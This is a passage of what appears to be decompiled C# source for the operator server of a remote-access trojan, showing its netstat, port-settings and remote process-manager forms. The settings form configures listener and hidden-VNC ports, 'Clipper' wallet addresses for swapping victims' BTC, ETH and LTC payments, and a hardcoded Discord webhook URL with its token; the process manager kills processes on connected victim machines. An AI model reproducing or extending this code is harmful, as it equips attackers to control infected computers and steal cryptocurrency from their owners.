this.barDockControlRight.Location = new System.Drawing.Point(723, 0);
this.barDockControlRight.Manager = this.barManager1;
this.barDockControlRight.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlRight.Size = new System.Drawing.Size(0, 530);
this.gridControlNet.Dock = System.Windows.Forms.DockStyle.Fill;
this.gridControlNet.EmbeddedNavigator.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.gridControlNet.Location = new System.Drawing.Point(0, 0);
this.gridControlNet.MainView = this.gridViewNet;
this.gridControlNet.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.gridControlNet.MenuManager = this.barManager1;
this.gridControlNet.Name = "gridControlNet";
this.gridControlNet.Size = new System.Drawing.Size(721, 499);
this.gridControlNet.TabIndex = 5;
this.gridControlNet.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[1] { this.gridViewNet });
this.gridControlNet.MouseUp += new System.Windows.Forms.MouseEventHandler(listViewNetstat_MouseUp);
this.gridViewNet.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[4] { this.IDColumn, this.LocalColumn, this.RemoteColumn, this.StateColumn });
this.gridViewNet.DetailHeight = 284;
this.gridViewNet.GridControl = this.gridControlNet;
this.gridViewNet.Name = "gridViewNet";
this.gridViewNet.OptionsView.ShowGroupPanel = false;
this.IDColumn.Caption = "ID";
this.IDColumn.FieldName = "id";
this.IDColumn.MinWidth = 17;
this.IDColumn.Name = "IDColumn";
this.IDColumn.OptionsColumn.AllowEdit = false;
this.IDColumn.Visible = true;
this.IDColumn.VisibleIndex = 0;
this.IDColumn.Width = 64;
this.LocalColumn.Caption = "Local";
this.LocalColumn.FieldName = "local";
this.LocalColumn.MinWidth = 17;
this.LocalColumn.Name = "LocalColumn";
this.LocalColumn.OptionsColumn.AllowEdit = false;
this.LocalColumn.Visible = true;
this.LocalColumn.VisibleIndex = 1;
this.LocalColumn.Width = 64;
this.RemoteColumn.Caption = "Remote";
this.RemoteColumn.FieldName = "remote";
this.RemoteColumn.MinWidth = 17;
this.RemoteColumn.Name = "RemoteColumn";
this.RemoteColumn.OptionsColumn.AllowEdit = false;
this.RemoteColumn.Visible = true;
this.RemoteColumn.VisibleIndex = 2;
this.RemoteColumn.Width = 64;
this.StateColumn.Caption = "State";
this.StateColumn.FieldName = "state";
this.StateColumn.MinWidth = 17;
this.StateColumn.Name = "StateColumn";
this.StateColumn.OptionsColumn.AllowEdit = false;
this.StateColumn.Visible = true;
this.StateColumn.VisibleIndex = 3;
this.StateColumn.Width = 64;
this.xtraTabControl2.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl2.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl2.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl2.Name = "xtraTabControl2";
this.xtraTabControl2.SelectedTabPage = this.xtraTabPage2;
this.xtraTabControl2.Size = new System.Drawing.Size(723, 530);
this.xtraTabControl2.TabIndex = 10;
this.xtraTabControl2.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage2 });
this.xtraTabPage2.Controls.Add(this.gridControlNet);
this.xtraTabPage2.Name = "xtraTabPage2";
this.xtraTabPage2.Size = new System.Drawing.Size(721, 499);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(723, 530);
base.Controls.Add(this.xtraTabControl2);
base.Controls.Add(this.barDockControlLeft);
base.Controls.Add(this.barDockControlRight);
base.Controls.Add(this.barDockControlBottom);
base.Controls.Add(this.barDockControlTop);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormNetstat.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormNetstat.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
base.Name = "FormNetstat";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Netstat";
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(FormNetstat_FormClosed);
base.Load += new System.EventHandler(FormNetstat_Load);
((System.ComponentModel.ISupportInitialize)this.popupMenuNetStat).EndInit();
((System.ComponentModel.ISupportInitialize)this.barManager1).EndInit();
((System.ComponentModel.ISupportInitialize)this.gridControlNet).EndInit();
((System.ComponentModel.ISupportInitialize)this.gridViewNet).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).EndInit();
this.xtraTabControl2.ResumeLayout(false);
this.xtraTabPage2.ResumeLayout(false);
base.ResumeLayout(false);
base.PerformLayout();
}
}

30
Forms/FormNetstat.resx Normal file

File diff suppressed because one or more lines are too long

416
Forms/FormPorts.cs Normal file
View File

@ -0,0 +1,416 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Windows.Forms;
using DevExpress.Data.Mask;
using DevExpress.Utils;
using DevExpress.Utils.Svg;
using DevExpress.XtraEditors;
using DevExpress.XtraTab;
using Server.Helper;
using Server.Properties;
namespace Server.Forms;
public class FormPorts : XtraForm
{
private static bool isOK;
private IContainer components;
private Label label1;
private Label label6;
private TextBox txtBTC;
private Label label2;
private TextBox txtETH;
private Label label3;
private TextBox txtLTC;
private TextBox textBoxDisrordURL;
private Label label4;
private Label label5;
private GroupBox groupBox2;
private SimpleButton button1;
private SimpleButton btnAdd;
private SimpleButton btnDelete;
private TextEdit textPorts;
private TextEdit textBoxHvnc;
private ListBoxControl listBox1;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
private Label label7;
private SeparatorControl separatorControl1;
private PictureBox pictureBox1;
public FormPorts()
{
InitializeComponent();
base.Opacity = 0.0;
}
private void PortsFrm_Load(object sender, EventArgs e)
{
Methods.FadeIn(this, 1);
if (Server.Properties.Settings.Default.Ports.Length == 0)
{
listBox1.Items.AddRange(new object[1] { "4449" });
}
else
{
try
{
string[] array = Server.Properties.Settings.Default.Ports.Split(new string[1] { "," }, StringSplitOptions.None);
foreach (string text in array)
{
if (!string.IsNullOrWhiteSpace(text))
{
listBox1.Items.Add(text.Trim());
}
}
}
catch
{
}
}
textBoxHvnc.Text = Server.Properties.Settings.Default.HVNCPort.ToString() ?? "";
if (!string.IsNullOrEmpty(Server.Properties.Settings.Default.BtcAddr))
{
txtBTC.Text = Server.Properties.Settings.Default.BtcAddr;
}
if (!string.IsNullOrEmpty(Server.Properties.Settings.Default.EthAddr))
{
txtETH.Text = Server.Properties.Settings.Default.EthAddr;
}
if (!string.IsNullOrEmpty(Server.Properties.Settings.Default.LtcAddr))
{
txtLTC.Text = Server.Properties.Settings.Default.LtcAddr;
}
if (!string.IsNullOrEmpty(Server.Properties.Settings.Default.DiscordUrl))
{
textBoxDisrordURL.Text = Server.Properties.Settings.Default.DiscordUrl;
}
Text = Settings.Version + " | Welcome " + Environment.UserName;
if (!File.Exists(Settings.CertificatePath))
{
using (FormCertificate formCertificate = new FormCertificate())
{
formCertificate.ShowDialog();
return;
}
}
Settings.VenomServer = new X509Certificate2(Settings.CertificatePath);
}
private void button1_Click(object sender, EventArgs e)
{
if (listBox1.Items.Count <= 0)
{
return;
}
string text = "";
foreach (string item in listBox1.Items)
{
text = text + item + ",";
}
Server.Properties.Settings.Default.Ports = text.Remove(text.Length - 1);
Server.Properties.Settings.Default.BtcAddr = txtBTC.Text;
Server.Properties.Settings.Default.EthAddr = txtETH.Text;
Server.Properties.Settings.Default.LtcAddr = txtLTC.Text;
Server.Properties.Settings.Default.DiscordUrl = textBoxDisrordURL.Text;
Server.Properties.Settings.Default.HVNCPort = Convert.ToInt32(textBoxHvnc.Text);
Server.Properties.Settings.Default.Save();
isOK = true;
Close();
}
private void PortsFrm_FormClosed(object sender, FormClosedEventArgs e)
{
if (!isOK)
{
Environment.Exit(0);
}
}
private void BtnAdd_Click(object sender, EventArgs e)
{
try
{
Convert.ToInt32(textPorts.Text.Trim());
listBox1.Items.Add(textPorts.Text.Trim());
textPorts.Text = "";
}
catch
{
}
}
private void BtnDelete_Click(object sender, EventArgs e)
{
listBox1.Items.Remove(listBox1.SelectedItem);
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormPorts));
this.label1 = new System.Windows.Forms.Label();
this.listBox1 = new DevExpress.XtraEditors.ListBoxControl();
this.textBoxHvnc = new DevExpress.XtraEditors.TextEdit();
this.textPorts = new DevExpress.XtraEditors.TextEdit();
this.btnDelete = new DevExpress.XtraEditors.SimpleButton();
this.label6 = new System.Windows.Forms.Label();
this.btnAdd = new DevExpress.XtraEditors.SimpleButton();
this.txtBTC = new System.Windows.Forms.TextBox();
this.label2 = new System.Windows.Forms.Label();
this.txtETH = new System.Windows.Forms.TextBox();
this.label3 = new System.Windows.Forms.Label();
this.txtLTC = new System.Windows.Forms.TextBox();
this.textBoxDisrordURL = new System.Windows.Forms.TextBox();
this.label4 = new System.Windows.Forms.Label();
this.label5 = new System.Windows.Forms.Label();
this.groupBox2 = new System.Windows.Forms.GroupBox();
this.button1 = new DevExpress.XtraEditors.SimpleButton();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
this.separatorControl1 = new DevExpress.XtraEditors.SeparatorControl();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.label7 = new System.Windows.Forms.Label();
((System.ComponentModel.ISupportInitialize)this.listBox1).BeginInit();
((System.ComponentModel.ISupportInitialize)this.textBoxHvnc.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.textPorts.Properties).BeginInit();
this.groupBox2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.separatorControl1).BeginInit();
((System.ComponentModel.ISupportInitialize)this.pictureBox1).BeginInit();
base.SuspendLayout();
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(42, 106);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(27, 13);
this.label1.TabIndex = 1;
this.label1.Text = "Port";
this.listBox1.Location = new System.Drawing.Point(271, 98);
this.listBox1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.listBox1.Name = "listBox1";
this.listBox1.Size = new System.Drawing.Size(163, 115);
this.listBox1.TabIndex = 11;
this.textBoxHvnc.Location = new System.Drawing.Point(101, 185);
this.textBoxHvnc.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.textBoxHvnc.Name = "textBoxHvnc";
this.textBoxHvnc.Properties.MaskSettings.Set("MaskManagerType", typeof(DevExpress.Data.Mask.NumericMaskManager));
this.textBoxHvnc.Properties.MaskSettings.Set("MaskManagerSignature", "allowNull=False");
this.textBoxHvnc.Properties.MaskSettings.Set("mask", "d");
this.textBoxHvnc.Size = new System.Drawing.Size(155, 28);
this.textBoxHvnc.TabIndex = 10;
this.textPorts.Location = new System.Drawing.Point(101, 98);
this.textPorts.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.textPorts.Name = "textPorts";
this.textPorts.Properties.MaskSettings.Set("MaskManagerType", typeof(DevExpress.Data.Mask.NumericMaskManager));
this.textPorts.Properties.MaskSettings.Set("MaskManagerSignature", "allowNull=False");
this.textPorts.Properties.MaskSettings.Set("mask", "d");
this.textPorts.Size = new System.Drawing.Size(155, 28);
this.textPorts.TabIndex = 9;
this.btnDelete.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.MiddleCenter;
this.btnDelete.ImageOptions.SvgImage = (DevExpress.Utils.Svg.SvgImage)resources.GetObject("btnDelete.ImageOptions.SvgImage");
this.btnDelete.Location = new System.Drawing.Point(221, 140);
this.btnDelete.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnDelete.Name = "btnDelete";
this.btnDelete.Size = new System.Drawing.Size(30, 28);
this.btnDelete.TabIndex = 8;
this.btnDelete.Text = "OK";
this.btnDelete.Click += new System.EventHandler(BtnDelete_Click);
this.label6.AutoSize = true;
this.label6.Location = new System.Drawing.Point(20, 192);
this.label6.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label6.Name = "label6";
this.label6.Size = new System.Drawing.Size(57, 13);
this.label6.TabIndex = 6;
this.label6.Text = "HVNC Port";
this.btnAdd.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.MiddleCenter;
this.btnAdd.ImageOptions.SvgImage = (DevExpress.Utils.Svg.SvgImage)resources.GetObject("btnAdd.ImageOptions.SvgImage");
this.btnAdd.ImageOptions.SvgImageColorizationMode = DevExpress.Utils.SvgImageColorizationMode.CommonPalette;
this.btnAdd.Location = new System.Drawing.Point(101, 140);
this.btnAdd.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnAdd.Name = "btnAdd";
this.btnAdd.Size = new System.Drawing.Size(30, 28);
this.btnAdd.TabIndex = 7;
this.btnAdd.Text = "OK";
this.btnAdd.Click += new System.EventHandler(BtnAdd_Click);
this.txtBTC.Location = new System.Drawing.Point(63, 29);
this.txtBTC.Name = "txtBTC";
this.txtBTC.Size = new System.Drawing.Size(264, 21);
this.txtBTC.TabIndex = 0;
this.txtBTC.Text = "--- ClipperBTC ---";
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(20, 33);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(30, 13);
this.label2.TabIndex = 1;
this.label2.Text = "BTC:";
this.txtETH.Location = new System.Drawing.Point(64, 63);
this.txtETH.Name = "txtETH";
this.txtETH.Size = new System.Drawing.Size(264, 21);
this.txtETH.TabIndex = 2;
this.txtETH.Text = "--- ClipperETH ---";
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(21, 67);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(30, 13);
this.label3.TabIndex = 3;
this.label3.Text = "ETH:";
this.txtLTC.Location = new System.Drawing.Point(64, 95);
this.txtLTC.Name = "txtLTC";
this.txtLTC.Size = new System.Drawing.Size(264, 21);
this.txtLTC.TabIndex = 4;
this.txtLTC.Text = "--- ClipperLTC ---";
this.textBoxDisrordURL.Location = new System.Drawing.Point(63, 155);
this.textBoxDisrordURL.Name = "textBoxDisrordURL";
this.textBoxDisrordURL.Size = new System.Drawing.Size(264, 21);
this.textBoxDisrordURL.TabIndex = 4;
this.textBoxDisrordURL.Text = "https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5Xnk3vl2YBdVD37L0qTWnM";
this.label4.AutoSize = true;
this.label4.Location = new System.Drawing.Point(21, 99);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(29, 13);
this.label4.TabIndex = 5;
this.label4.Text = "LTC:";
this.label5.AutoSize = true;
this.label5.Location = new System.Drawing.Point(21, 131);
this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(158, 13);
this.label5.TabIndex = 5;
this.label5.Text = "Discord Channel WebHook URI:";
this.groupBox2.Controls.Add(this.label5);
this.groupBox2.Controls.Add(this.label4);
this.groupBox2.Controls.Add(this.textBoxDisrordURL);
this.groupBox2.Controls.Add(this.txtLTC);
this.groupBox2.Controls.Add(this.label3);
this.groupBox2.Controls.Add(this.txtETH);
this.groupBox2.Controls.Add(this.label2);
this.groupBox2.Controls.Add(this.txtBTC);
this.groupBox2.Location = new System.Drawing.Point(403, 232);
this.groupBox2.Name = "groupBox2";
this.groupBox2.Size = new System.Drawing.Size(26, 33);
this.groupBox2.TabIndex = 5;
this.groupBox2.TabStop = false;
this.groupBox2.Text = "Clipper Info";
this.groupBox2.Visible = false;
this.button1.Location = new System.Drawing.Point(11, 309);
this.button1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(465, 29);
this.button1.TabIndex = 6;
this.button1.Text = "Start";
this.button1.Click += new System.EventHandler(button1_Click);
this.xtraTabControl1.Location = new System.Drawing.Point(12, 8);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(465, 291);
this.xtraTabControl1.TabIndex = 7;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.label7);
this.xtraTabPage1.Controls.Add(this.separatorControl1);
this.xtraTabPage1.Controls.Add(this.pictureBox1);
this.xtraTabPage1.Controls.Add(this.listBox1);
this.xtraTabPage1.Controls.Add(this.textPorts);
this.xtraTabPage1.Controls.Add(this.textBoxHvnc);
this.xtraTabPage1.Controls.Add(this.label1);
this.xtraTabPage1.Controls.Add(this.btnAdd);
this.xtraTabPage1.Controls.Add(this.btnDelete);
this.xtraTabPage1.Controls.Add(this.label6);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(463, 260);
this.xtraTabPage1.Text = "Settings";
this.separatorControl1.Dock = System.Windows.Forms.DockStyle.Top;
this.separatorControl1.LineColor = System.Drawing.Color.FromArgb(1, 163, 1);
this.separatorControl1.Location = new System.Drawing.Point(0, 61);
this.separatorControl1.Name = "separatorControl1";
this.separatorControl1.Size = new System.Drawing.Size(463, 19);
this.separatorControl1.TabIndex = 175;
this.pictureBox1.BackColor = System.Drawing.Color.Transparent;
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Top;
this.pictureBox1.ErrorImage = null;
this.pictureBox1.Image = (System.Drawing.Image)resources.GetObject("pictureBox1.Image");
this.pictureBox1.InitialImage = null;
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(463, 61);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom;
this.pictureBox1.TabIndex = 174;
this.pictureBox1.TabStop = false;
this.label7.AutoSize = true;
this.label7.Location = new System.Drawing.Point(100, 218);
this.label7.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label7.Name = "label7";
this.label7.Size = new System.Drawing.Size(123, 13);
this.label7.TabIndex = 176;
this.label7.Text = "Don't change HVNC port";
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(488, 345);
base.Controls.Add(this.xtraTabControl1);
base.Controls.Add(this.button1);
base.Controls.Add(this.groupBox2);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormPorts.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormPorts.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
base.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(490, 379);
base.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(490, 379);
base.Name = "FormPorts";
base.ShowInTaskbar = false;
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Settings Ports";
base.TopMost = true;
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(PortsFrm_FormClosed);
base.Load += new System.EventHandler(PortsFrm_Load);
((System.ComponentModel.ISupportInitialize)this.listBox1).EndInit();
((System.ComponentModel.ISupportInitialize)this.textBoxHvnc.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.textPorts.Properties).EndInit();
this.groupBox2.ResumeLayout(false);
this.groupBox2.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
this.xtraTabPage1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.separatorControl1).EndInit();
((System.ComponentModel.ISupportInitialize)this.pictureBox1).EndInit();
base.ResumeLayout(false);
}
}

30
Forms/FormPorts.resx Normal file

File diff suppressed because one or more lines are too long

340
Forms/FormProcessManager.cs Normal file
View File

@ -0,0 +1,340 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraBars;
using DevExpress.XtraEditors;
using DevExpress.XtraGrid;
using DevExpress.XtraGrid.Columns;
using DevExpress.XtraGrid.Views.Base;
using DevExpress.XtraGrid.Views.Grid;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Handle_Packet;
namespace Server.Forms;
public class FormProcessManager : XtraForm
{
private Dictionary<string, Image> images = new Dictionary<string, Image>();
private IContainer components;
public System.Windows.Forms.Timer timer1;
private PopupMenu popupMenuProcess;
private BarButtonItem KillProcessMenu;
private BarButtonItem RefreshProcessMenu;
private BarManager barManager1;
private BarDockControl barDockControlTop;
private BarDockControl barDockControlBottom;
private BarDockControl barDockControlLeft;
private BarDockControl barDockControlRight;
private GridControl gridControlProc;
private GridView gridViewProc;
private GridColumn TitleColumn;
private GridColumn PIDColumn;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
public FormMain F { get; set; }
internal Clients Client { get; set; }
internal Clients ParentClient { get; set; }
public FormProcessManager()
{
InitializeComponent();
}
private void timer1_Tick(object sender, EventArgs e)
{
try
{
if (!Client.TcpClient.Connected || !ParentClient.TcpClient.Connected)
{
Close();
}
}
catch
{
Close();
}
}
private void FormProcessManager_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
ThreadPool.QueueUserWorkItem(delegate
{
Client?.Disconnected();
});
}
catch
{
}
}
private async void KillProcessMenu_ItemClick(object sender, ItemClickEventArgs e)
{
int[] selectedRows = gridViewProc.GetSelectedRows();
foreach (int index in selectedRows)
{
await Task.Run(delegate
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "processManager";
msgPack.ForcePathObject("Option").AsString = "Kill";
msgPack.ForcePathObject("ID").AsString = (string)gridViewProc.GetRowCellValue(index, PIDColumn);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
});
}
}
private void RefreshProcessMenu_ItemClick(object sender, ItemClickEventArgs e)
{
ThreadPool.QueueUserWorkItem(delegate
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "processManager";
msgPack.ForcePathObject("Option").AsString = "List";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
});
}
private void listViewProcess_MouseUp(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
popupMenuProcess.ShowPopup(gridControlProc.PointToScreen(e.Location));
}
}
public void LoadList(string msg)
{
try
{
images.Clear();
List<HandleProcessManager.ProcItem> list = new List<HandleProcessManager.ProcItem>();
string[] array = msg.Split(new string[1] { "-=>" }, StringSplitOptions.None);
int num;
for (num = 0; num < array.Length; num++)
{
if (array[num].Length > 0)
{
list.Add(new HandleProcessManager.ProcItem
{
Name = Path.GetFileName(array[num]),
Pid = array[num + 1]
});
Image value = Image.FromStream(new MemoryStream(Convert.FromBase64String(array[num + 2])));
images.Add(array[num + 1], value);
}
num += 2;
}
gridControlProc.DataSource = list;
}
catch
{
}
}
private void FormProcessManager_Load(object sender, EventArgs e)
{
}
private void gridViewProc_CustomDrawCell(object sender, RowCellCustomDrawEventArgs e)
{
if (e.Column == TitleColumn)
{
e.DefaultDraw();
try
{
string key = (string)gridViewProc.GetRowCellValue(e.RowHandle, PIDColumn);
Image image = images[key];
e.Cache.DrawImage(image, e.Bounds.Location);
}
catch
{
}
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormProcessManager));
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.popupMenuProcess = new DevExpress.XtraBars.PopupMenu(this.components);
this.KillProcessMenu = new DevExpress.XtraBars.BarButtonItem();
this.RefreshProcessMenu = new DevExpress.XtraBars.BarButtonItem();
this.barManager1 = new DevExpress.XtraBars.BarManager(this.components);
this.barDockControlTop = new DevExpress.XtraBars.BarDockControl();
this.barDockControlBottom = new DevExpress.XtraBars.BarDockControl();
this.barDockControlLeft = new DevExpress.XtraBars.BarDockControl();
this.barDockControlRight = new DevExpress.XtraBars.BarDockControl();
this.gridControlProc = new DevExpress.XtraGrid.GridControl();
this.gridViewProc = new DevExpress.XtraGrid.Views.Grid.GridView();
this.TitleColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.PIDColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.popupMenuProcess).BeginInit();
((System.ComponentModel.ISupportInitialize)this.barManager1).BeginInit();
((System.ComponentModel.ISupportInitialize)this.gridControlProc).BeginInit();
((System.ComponentModel.ISupportInitialize)this.gridViewProc).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.popupMenuProcess.LinksPersistInfo.AddRange(new DevExpress.XtraBars.LinkPersistInfo[2]
{
new DevExpress.XtraBars.LinkPersistInfo(this.KillProcessMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.RefreshProcessMenu)
});
this.popupMenuProcess.Manager = this.barManager1;
this.popupMenuProcess.Name = "popupMenuProcess";
this.KillProcessMenu.Caption = "Kill";
this.KillProcessMenu.Id = 0;
this.KillProcessMenu.Name = "KillProcessMenu";
this.KillProcessMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(KillProcessMenu_ItemClick);
this.RefreshProcessMenu.Caption = "Refresh";
this.RefreshProcessMenu.Id = 1;
this.RefreshProcessMenu.Name = "RefreshProcessMenu";
this.RefreshProcessMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(RefreshProcessMenu_ItemClick);
this.barManager1.DockControls.Add(this.barDockControlTop);
this.barManager1.DockControls.Add(this.barDockControlBottom);
this.barManager1.DockControls.Add(this.barDockControlLeft);
this.barManager1.DockControls.Add(this.barDockControlRight);
this.barManager1.Form = this;
this.barManager1.Items.AddRange(new DevExpress.XtraBars.BarItem[2] { this.KillProcessMenu, this.RefreshProcessMenu });
this.barManager1.MaxItemId = 2;
this.barDockControlTop.CausesValidation = false;
this.barDockControlTop.Dock = System.Windows.Forms.DockStyle.Top;
this.barDockControlTop.Location = new System.Drawing.Point(0, 0);
this.barDockControlTop.Manager = this.barManager1;
this.barDockControlTop.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlTop.Size = new System.Drawing.Size(650, 0);
this.barDockControlBottom.CausesValidation = false;
this.barDockControlBottom.Dock = System.Windows.Forms.DockStyle.Bottom;
this.barDockControlBottom.Location = new System.Drawing.Point(0, 524);
this.barDockControlBottom.Manager = this.barManager1;
this.barDockControlBottom.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlBottom.Size = new System.Drawing.Size(650, 0);
this.barDockControlLeft.CausesValidation = false;
this.barDockControlLeft.Dock = System.Windows.Forms.DockStyle.Left;
this.barDockControlLeft.Location = new System.Drawing.Point(0, 0);
this.barDockControlLeft.Manager = this.barManager1;
this.barDockControlLeft.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlLeft.Size = new System.Drawing.Size(0, 524);
this.barDockControlRight.CausesValidation = false;
this.barDockControlRight.Dock = System.Windows.Forms.DockStyle.Right;
this.barDockControlRight.Location = new System.Drawing.Point(650, 0);
this.barDockControlRight.Manager = this.barManager1;
this.barDockControlRight.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlRight.Size = new System.Drawing.Size(0, 524);
this.gridControlProc.Dock = System.Windows.Forms.DockStyle.Fill;
this.gridControlProc.EmbeddedNavigator.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.gridControlProc.Location = new System.Drawing.Point(0, 0);
this.gridControlProc.MainView = this.gridViewProc;
this.gridControlProc.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.gridControlProc.MenuManager = this.barManager1;
this.gridControlProc.Name = "gridControlProc";
this.gridControlProc.Size = new System.Drawing.Size(648, 493);
this.gridControlProc.TabIndex = 6;
this.gridControlProc.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[1] { this.gridViewProc });
this.gridControlProc.MouseUp += new System.Windows.Forms.MouseEventHandler(listViewProcess_MouseUp);
this.gridViewProc.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[2] { this.TitleColumn, this.PIDColumn });
this.gridViewProc.DetailHeight = 284;
this.gridViewProc.GridControl = this.gridControlProc;
this.gridViewProc.Name = "gridViewProc";
this.gridViewProc.OptionsView.ShowGroupPanel = false;
this.gridViewProc.CustomDrawCell += new DevExpress.XtraGrid.Views.Base.RowCellCustomDrawEventHandler(gridViewProc_CustomDrawCell);
